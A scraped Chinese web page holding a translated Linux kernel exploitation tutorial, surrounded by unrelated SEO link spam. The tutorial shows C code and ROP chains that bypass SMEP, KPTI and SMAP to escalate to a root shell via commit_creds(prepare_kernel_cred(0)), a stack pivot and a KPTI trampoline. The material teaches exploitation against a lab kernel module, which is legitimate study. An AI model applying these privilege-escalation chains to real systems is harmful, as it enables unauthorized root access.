当前位置: 首页 > news >正文

公司网站翻译工作怎么做吸金聚财的公司名字

公司网站翻译工作怎么做,吸金聚财的公司名字,做逆战网站的名字,北京百度推广代理前言在上一篇文章中#xff0c;我们不仅为读者详细介绍了如何搭建环境#xff0c;还通过一个具体的例子演示了最简单的内核漏洞利用技术#xff1a;ret2usr。在本文中#xff0c;我们将逐步启用更多的安全防御机制#xff0c;即SMEP、KPTI和SMAP#xff0c;并逐一解释它们…前言在上一篇文章中我们不仅为读者详细介绍了如何搭建环境还通过一个具体的例子演示了最简单的内核漏洞利用技术ret2usr。在本文中我们将逐步启用更多的安全防御机制即SMEP、KPTI和SMAP并逐一解释它们将如何影响我们的漏洞利用方法以及如何绕过这些防御机制。启用SMEP机制SMEP简介SMEP(Supervisormode execution protectionSMEP)机制的作用是当进程在内核模式下运行时该防御机制会将页表中的所有用户空间的内存页标记为不可执行的。在内核中这个功能可以通过设置控制寄存器CR4的第20位来启用。在启动时可以通过在-cpu选项下加入smep来启用该防御机制通过在-append选项下加入nosmep来禁用该机制。在上一篇文章中我们曾经通过自己编写的一段代码获得了root权限但是在启用了SMEP机制后这个策略就行不通了。原因很简单我们的代码是位于用户空间中的但是就像前面说过的那样当进程在内核模式下运行时SMEP机制会将存放我们代码的页面标记为不可执行。再回想一下我们大多数人学习用户空间pwn的时候也会遇到堆栈不可执行的情况所以在学习了ret2shellcode之后通常就会开始接触ROP技术。同样的概念也适用于内核漏洞利用的学习在介绍ret2usr技术之后我将介绍内核ROP技术。注意事项正如我在第一篇文章中提到的这里将假设读者已经熟悉了用户空间的漏洞利用知识因此我就不再重复解释什么是ROP了。不过这是一种非常基础的技术所以读者可以在网上找到大量介绍资料。为了更广泛的涵盖不同的漏洞利用技术我将假设2种不同的场景并分别加以详细介绍第一种场景就是我们当前面对的我们能够向内核栈写入任意数量的数据。第二种场景是我们只能覆盖内核栈的返回地址。这将使漏洞利用变得更困难一些。让我们从研究第一种场景开始下手。尝试覆盖CR4如上所述在内核中控制寄存器CR4的第20位负责启用或禁用SMEP机制。而实际上在内核模式下运行的时候我们可以通过mov cr4rdi等asm指令来修改这个寄存器的内容。这样的指令来自于一个叫native_write_cr4()的函数它可以用参数覆盖CR4的内容并且该函数本身就驻留在内核空间中。所以为了绕过SMEP防御机制我们首先可以尝试利用ROP技术跳转到native_write_cr4(value)函数其中value是精心构造的一个值可以将CR4的第20位清零。与commit_creds()和prepare_kernel_cred()函数一样我们也可以通过阅读/proc/kallsyms找到该函数的地址。cat /proc/kallsyms | grep native_write_cr4- ffffffff814443e0 T native_write_cr4重要提示对于本文中将要介绍的所有漏洞利用过程我们只解释与ret2usr技术不同的部分。与上一篇完全相同的部分是保存状态、打开设备、泄漏栈cookie。实际上在内核中构建ROP链的方式与在用户空间中使用的方式是完全一致的。因此在这里我们不会立即返回到用户空间的代码中而是先返回到native_write_cr4(value)中再返回到我们的提权代码中。为了获取CR4寄存器的当前值我们可以触发内核崩溃并将其转储出来(或者在内核上附加一个调试器)以得到该值。[    3.794861]CR2: 0000000000401fd9 CR3: 000000000657c000 CR4: 00000000001006f0然后将第20位(地址为0x100000)清零使该值变为0x6F0。下面给出相应的payloadunsigned long pop_rdi_ret 0xffffffff81006370;unsigned long native_write_cr4 0xffffffff814443e0;void overflow(void){unsigned n 50;unsignedlong payload[n];unsigned off 16;payload[off] cookie;payload[off] 0x0; // rbxpayload[off] 0x0; // r12payload[off] 0x0; // rbppayload[off] pop_rdi_ret; // return addresspayload[off] 0x6f0;payload[off] native_write_cr4; // native_write_cr4(0x6f0),effectively clear the 20th bitpayload[off] (unsigned long)escalate_privs;puts([*] Prepared payload);ssize_t w write(global_fd, payload, sizeof(payload));puts([!] Should never be reached);}对于像pop rdi ; ret这样的gadget我们可以通过grepping gadgets.txt轻松找到它们这个文件是在第一篇文章中通过在内核映像上运行ROPgadget生成的。注意在内核映像文件vmlinux中好像并没有提供某区段是否可执行的信息所以ROPgadget会试图找出位于该二进制文件中的所有gadget甚至包括那些不可执行的gadget。也就是说当我们使用ROPgadget找出的gadget时如果它是不可执行的那么内核就会发生崩溃不过我们也不必过于担心这时只需要尝试下一个gadget就行了。理论上讲运行上述代码后我们应该会得到一个root shell。然而在现实中内核仍然崩溃更令人困惑的是崩溃的原因是SMEP机制所致[    3.770954]unable to execute userspace code (SMEP?) (uid: 1000)如果我们已经将第20位清零的话为什么SMEP机制仍然生效呢我决定用dmesg来看看CR4到底发生了什么状况结果发现了下面这行内容[    3.767510]pinned CR4 bits changed: 0x100000!?由此看来CR4的第20位被莫名其妙的“定住”了。为了弄清楚到底咋回事我找到了native_write_cr4()函数的源代码void native_write_cr4(unsigned long val){unsigned longbits_changed 0;set_register:asmvolatile(mov %0,%%cr4: r (val) : :memory);if(static_branch_likely(cr_pinning)) {if(unlikely((val cr4_pinned_mask) ! cr4_pinned_bits)) {bits_changed (val cr4_pinned_mask) ^ cr4_pinned_bits;val (val ~cr4_pinned_mask) | cr4_pinned_bits;gotoset_register;}/* Warnafter weve corrected the changed bits. */WARN_ONCE(bits_changed,pinned CR4 bits changed: 0x%lx!?\n,bits_changed);}}此外我们还找到了一份与CR4相关位被定住的相关文档。通过它我们才知道在较新的内核版本中CR4的第20位和第21位在启动时就被“定住”了即使该位被清零也会立即重新被置1所以我们已经无法使用前面的方法来覆盖它了!所以我的第一次尝试以失败而告终不过我们还是有一定的收获的至少我们现在知道即使我们能够在内核模式下覆盖CR4但内核开发者已经意识到了这一点并设法阻止我们用这种方式来利用内核漏洞。好吧让我们继续开发一个更强大的、真正有效的漏洞利用方法。构建一个完整的提权ROP链在第二次尝试中我们将彻底放弃通过运行自己的代码来获取root权限的想法并尝试只使用ROP来实现这一任务。实际上我们的计划非常简单通过ROP转到prepare_kernel_cred(0)。通过ROP转到commit_creds()参数为步骤1的返回值。通过ROP转到swapgs ;ret。通过ROP转到iretq堆栈设置为RIP|CS|RFLAGS|SP|SS。如您所见该ROP链本身一点都不复杂但在构建过程中仍然面临一些问题。首先正如我上面提到的ROPgadget找到的许多gadget是无法正常使用的。因此我不得不进行多次尝试最后用这些gadget把步骤1中的返回值(存储在rax中)移到rdi中以传递给commit_creds()不过奇怪的是我尝试的所有gadget都是不可执行的unsigned long pop_rdx_ret 0xffffffff81007616; // poprdx ; retunsigned long cmp_rdx_jne_pop2_ret 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; retunsigned long mov_rdi_rax_jne_pop2_ret 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret使用这3个gadget的目的是在不使用jne的情况下将rax移入rdi。 因此我必须将值8弹出到rdx中然后返回到cmp指令以使比较的结果为相等从而确保我们不会跳转到jne分支...payload[off] pop_rdx_ret;payload[off] 0x8; // rdx payload[off] cmp_rdx_jne_pop2_ret; // make sureJNE doesnt branchpayload[off] 0x0; // dummy rbxpayload[off] 0x0; // dummy rbppayload[off] mov_rdi_rax_jne_pop2_ret; // rdipayload[off] 0x0; // dummy rbxpayload[off] 0x0; // dummy rbppayload[off] commit_creds; //commit_creds(prepare_kernel_cred(0))...其次看起来ROPgadget在寻找swapgs方面非常擅长但是它却找不到iretq所以我必须借助于objdump来查找iretqobjdump -j .text -d ~/vmlinux | grep iretq | head -1- ffffffff8100c0d9:       48 cf                   iretq有了这些gadget我们就可以构建完整的ROP链了unsigned long user_rip (unsigned long)get_shell;unsigned long pop_rdi_ret 0xffffffff81006370;unsigned long pop_rdx_ret 0xffffffff81007616; // poprdx ; retunsigned long cmp_rdx_jne_pop2_ret 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; retunsigned long mov_rdi_rax_jne_pop2_ret 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; retunsigned long commit_creds 0xffffffff814c6410;unsigned long prepare_kernel_cred 0xffffffff814c67f0;unsigned long swapgs_pop1_ret 0xffffffff8100a55f; //swapgs ; pop rbp ; retunsigned long iretq 0xffffffff8100c0d9;void overflow(void){unsigned n 50;unsignedlong payload[n];unsigned off 16;payload[off] cookie;payload[off] 0x0; // rbxpayload[off] 0x0; // r12payload[off] 0x0; // rbppayload[off] pop_rdi_ret; // return addresspayload[off] 0x0; // rdi payload[off] prepare_kernel_cred; // prepare_kernel_cred(0)payload[off] pop_rdx_ret;payload[off] 0x8; // rdx payload[off] cmp_rdx_jne_pop2_ret; // make sure JNE doesnt branchpayload[off] 0x0; // dummy rbxpayload[off] 0x0; // dummy rbppayload[off] mov_rdi_rax_jne_pop2_ret; // rdi payload[off] 0x0; // dummy rbxpayload[off] 0x0; // dummy rbppayload[off] commit_creds; //commit_creds(prepare_kernel_cred(0))payload[off] swapgs_pop1_ret; // swapgspayload[off] 0x0; // dummy rbppayload[off] iretq; // iretq fr amepayload[off] user_rip;payload[off] user_cs;payload[off] user_rflags;payload[off] user_sp;payload[off] user_ss;puts([*] Prepared payload);ssize_t w write(global_fd, payload, sizeof(payload));puts([!] Should never be reached);}这样我们成功地构建了一个绕过SMEP机制并能在第一种场景下打开root shell的漏洞利用代码。让我们继续看看在第二种情况下我们可能会面临什么样的困难。堆栈pivot技术很明显如果我们只能溢出到返回地址的话将无法把整个ROP链都装到栈中。为了克服这个问题我们将再次使用一种在用户空间漏洞利用领域也相当流行的技术堆栈pivot。这是一种修改rsp使其指向一个受控的可写地址从而有效地创建了一个“假栈”的技术。然而对于用户空间中的堆栈pivot技术来说常常需要覆盖一个已保存的函数RBP然后从那里返回而在内核中的pivot技术则简单得多。因为内核映像存在大量的gadget我们可以寻找那些修改rsp/esp本身的gadget。我们最感兴趣的就是那些将常量值移入esp的gadget同时还要确保这些gadget是可执行的并且常量值是已经正确对齐的。下面展示的是我选用的gadgetunsigned long mov_esp_pop2_ret 0xffffffff8196f56a;// mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret也就是说我们将用它来覆盖返回地址但在此之前我们必须先搭建好“假栈”。由于之后esp会变成0x5b000000因此我们可以在该位置映射一个固定的内存页然后将我们的ROP链写入其中void build_fake_stack(void){fake_stack mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);unsigned off 0x1000 / 8;fake_stack[0] 0xdead; // put something in the first page to preventfaultfake_stack[off] 0x0; // dummy r12fake_stack[off] 0x0; // dummy rbpfake_stack[off] pop_rdi_ret;... // therest of the chain is the same as the last payload}在上面的代码中有2个地方需要注意我把内存页映射到了一个区间0x5b000000-0x1000而不是精确的地址0x5b000000。这是因为像prepare_kernel_cred()和commit_creds()这样的函数会调用内部的其他函数导致堆栈增长。如果我们让esp指向页面的确切起始点堆栈就没有足够的空间来增长就会崩溃。我必须在第一页中写入一个虚设值否则就会导致Double Fault故障。根据我的理解原因是页面只有在被访问后才会被插入到页表中而不是在被映射后就会插入。我们映射了0x2000字节相当于2个页面并且把ROP链全部放在第二页中所以我们也要访问一下第一页。上面就是在只能溢出栈到返回地址的情况下获得一个root shell的具体方法。我对绕过SMEP的介绍也到此结束接下来让我们再启用另外一个防御措施即KPTI。启用KPTI机制关于KPTIKPTI(Kernelpage-table isolation)是将用户空间和内核空间的页表完全隔离而不是只使用一组同时包含用户空间和内核空间地址的页表的安全机制。跟以前一样仍然有一组页表同时包含内核空间和用户空间地址但它仅在系统运行在内核模式时使用。在用户模式下使用的第二组页表包含用户空间的副本和最少的内核空间地址集。KPTI机制可以通过在-append选项下添加kpti1或nopti来启用/禁用。这个特性是内核特有的准确来说它是为了防止Linux内核崩溃而引入的因此在用户空间中没有相应的机制可以与之类比。首先试图运行上一节中的任何漏洞利用代码都会导致死机。但有趣的是死机是正常的用户空间Segmentation故障所致而不是内核崩溃所致。原因是虽然代码已经从内核模式返回到用户模式但它所使用的页表仍然是内核的而用户空间的所有页面都被标记为不可执行。实际上绕过KPTI机制的方法一点都不复杂例如下面是我在一些文章中读到的两种方法使用信号处理程序(该方法源自ntrung03撰写的一篇文章)这是一个非常巧妙的解决方案并且非常简单。这种方法的思路是因为我们要处理的是用户空间中的一个SIGSEGV因此可以直接在main函数中插入一行代码signal(SIGSEGV, get_shell);为其添加一个调用get_shell()的信号处理程序。不过我还是没有完全理解一件事情因为不管出于什么原因即使处理程序get_shell()本身也驻留在不可执行的页面中但如果捕捉到一个SIGSEGV它仍然可以正常执行(而不是无限期地循环处理程序或执行默认处理程序或未定义的行为等)但它确实管用。使用KPTI蹦床(被大多数相关文章所采用)这个方法是基于这样的想法即如果一个syscall正常返回内核中一定有一段代码会把页表换回用户空间的页表所以我们可以尝试重用那段代码来达到自己的目的。这段代码通常被称为KPTI蹦床它的作用是切换页表、swapgs和iretq。我们将深入研究这种方法。调整ROP链这段代码驻留在一个名为swapgs_restore_regs_and_return_to_usermode()的函数中我们也可以通过阅读/proc/kallsyms找到它的地址。cat /proc/kallsyms | grepswapgs_restore_regs_and_return_to_usermode- ffffffff81200f10 Tswapgs_restore_regs_and_return_to_usermode我们可以使用IDA考察该函数的开头部分.text:FFFFFFFF81200F10                 pop     r15.text:FFFFFFFF81200F12                 pop     r14.text:FFFFFFFF81200F14                 pop     r13.text:FFFFFFFF81200F16                 pop     r12.text:FFFFFFFF81200F18                 pop     rbp.text:FFFFFFFF81200F19                 pop     rbx.text:FFFFFFFF81200F1A                 pop     r11.text:FFFFFFFF81200F1C                 pop     r10.text:FFFFFFFF81200F1E                 pop     r9.text:FFFFFFFF81200F20                 pop     r8.text:FFFFFFFF81200F22                 pop     rax.text:FFFFFFFF81200F23                 pop     rcx.text:FFFFFFFF81200F24                 pop     rdx.text:FFFFFFFF81200F25                 pop     rsi.text:FFFFFFFF81200F26                 mov     rdi, rsp.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004.text:FFFFFFFF81200F32                 push    qword ptr [rdi30h].text:FFFFFFFF81200F35                 push    qword ptr [rdi28h].text:FFFFFFFF81200F38                 push    qword ptr [rdi20h].text:FFFFFFFF81200F3B                 push    qword ptr [rdi18h].text:FFFFFFFF81200F3E                 push    qword ptr [rdi10h].text:FFFFFFFF81200F41                 push    qword ptr [rdi].text:FFFFFFFF81200F43                 push    rax.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89...如您所见它首先通过从堆栈中弹出的值来恢复大量寄存器。但是我们真正感兴趣的是它切换页表、swaps和iretq的部分而不是这一部分。虽然只需将ROP插入该函数的开头处即可正常工作但由于这需要插入许多虚设的寄存器值因此会不必要地扩大了我们的ROP链的长度。这样的话我们的KPTI蹦床将位于swapgs_restore_regs_and_return_to_usermode 22处这就是第一个mov指令的地址。恢复初始寄存器后以下才是对我们有用的部分.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:.text:FFFFFFFF81200F89                               pop     rax.text:FFFFFFFF81200F8A                               pop     rdi.text:FFFFFFFF81200F8B                               call    cs:off_FFFFFFFF82040088.text:FFFFFFFF81200F91                               jmp    cs:off_FFFFFFFF82040080....text.native_swapgs:FFFFFFFF8146D4E0                 push    rbp.text.native_swapgs:FFFFFFFF8146D4E1                 mov     rbp, rsp.text.native_swapgs:FFFFFFFF8146D4E4                 swapgs.text.native_swapgs:FFFFFFFF8146D4E7                 pop     rbp.text.native_swapgs:FFFFFFFF8146D4E8                 retn....text:FFFFFFFF8120102E                               mov     rdi, cr3.text:FFFFFFFF81201031                               jmp     short loc_FFFFFFFF81201067....text:FFFFFFFF81201067                               or      rdi, 1000h.text:FFFFFFFF8120106E                               mov     cr3, rdi....text:FFFFFFFF81200FC7                               iretq注意由于开头部分多了2个pop指令所以我们必须在ROP链中放入2个虚设值。之后的代码用于实现页表切换即通过修改控制寄存器CR3来切换页表最后是iretq。我们将修改ROP链的最后一部分从SWAPGS|IRETQ|RIP|CS|RFLAGS|SP|SS 调整为 KPTI_trampoline|dummyRAX|dummy RDI|RIP|CS|RFLAGS|SP|SS 。void overflow(void){// ...payload[off] commit_creds; // commit_creds(prepare_kernel_cred(0))payload[off] kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode 22payload[off] 0x0; // dummy raxpayload[off] 0x0; // dummy rdipayload[off] user_rip;payload[off] user_cs;payload[off] user_rflags;payload[off] user_sp;payload[off] user_ss;// ...}小贴士这个payload不仅比上一节介绍的payload更易于构建同时无论是否启用KPTI机制它都能正常工作(大多数时候KPTI会和SMEP一起启用)。因此建议将其作为默认payload对于之前的payload只可用于演示。在面对第二种情况时可以将堆栈用作跳板并将这个payload放到伪造的堆栈中。至此我们就干净利落地绕过了KPTI安全机制。下面让我们进入本文的最后一节讨论一下SMAP机制的相关问题。启用SMAP机制SMAP(SupervisorMode Access PreventionSMAP)是为了补充SMEP而引入的一种缓解机制当进程处于内核模式时该机制会将页表中所有用户空间的内存页标记为不可访问也就是说不能对其进行读写操作。在内核中可以通过设置控制寄存器CR4的第21位来启用这个防御机制在启动时可以通过在-cpu选项下加入smap来启用该机制通过在-append选项下加入nosmap来禁用该机制。在两种场景下情况会有很大的不同在第一种场景下我们的整个ROP链都存储在内核堆栈上并且不会从用户空间访问任何数据。因此我们之前的payload仍然是可用的无需任何修改。在第二种场景下我们实际上是将堆栈转变成了用户空间的一个内存页面。我们知道对于像压入和弹出堆栈这样的操作是需要对堆栈进行读写访问的而SMAP机制则禁止进行这些操作。因此基于堆栈pivot的payload将无法使用。事实上据我所知我们目前针对栈的读写原语还不足以成功利用该漏洞所以我们需要更强大的原语来利用内核模块的漏洞这可能涉及到内存页表和页目录方面的知识或者其他一些高级主题。对于本文来说这些主题太复杂了这里就不深入介绍了。如果将来有机会我们再进行介绍。小结在这篇文章中我为读者演示了在2种不同的情况下绕过SMEP、KPTI和SMAP等安全机制的流行方法其中第一种情况是我们能够在堆栈上有无限溢出第二种情况则是没有这种能力。本文中我们介绍所有的漏洞利用技术都是围绕ROP的概念进行的并且要借助于内核自身中的多个gadget和代码片段。附录本文由secM整理并翻译不代表白帽汇任何观点和立场来源https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
http://www.zqtcl.cn/news/27859/

相关文章:

  • 对网站主要功能界面进行赏析学做视频的网站
  • 网站常用热点hot小图标wordpress视频网站用什么播放器
  • 一键网站提交免费网上商城系统
  • 长葛住房和城乡建设局网站个人网站源码模板
  • 网站建设在医院的作用上海网页制作方法
  • 网站维护提示成都app
  • 网址收录网站生活分类网站建设
  • nodejs适合网站开发深圳办公室租金多少钱一平
  • 建设银行网站会员基本信息贺卡网图
  • 古镇建网站公司哈尔滨网络公司代理商
  • 那个网站做的调查准确企业网站建设的目标
  • 禅城网站建设哪家好网站开发包括后台 前台
  • 做网站建设出路在哪里兰州百姓网免费发布信息网站
  • 大淘客怎么做网站重庆网站营销
  • php网站建设安装环境常用个人网站是什么
  • 网站开发目的和意义邵阳建设网站的公司
  • 哪些网站可以做装修域名怎么选才正确
  • wordpress 站群插件西宁最好的网络公司
  • wordpress网站布局jsp做的网页是网站吗
  • 100个免费推广网站下载wordpress页面链接404错误
  • 地产公司网站建设计划书wordpress的hook
  • 有没有给宝宝做辅食的网站电商境外如何做推广
  • 搭建商城网站当当网网站建设步骤
  • Wordpress插件开发中文字幕深圳优化公司
  • 郑州网站制作推广深圳的网站建设
  • 如何自已建网站装饰工程公司排名
  • 廊坊网站建设网站开发人员构成
  • 深圳网站建设哪里好做手机网站哪家好
  • wordpress移动到回收站时发生错误房地产手机网站模板
  • 网站制作教程ppt如何做黑客攻击网站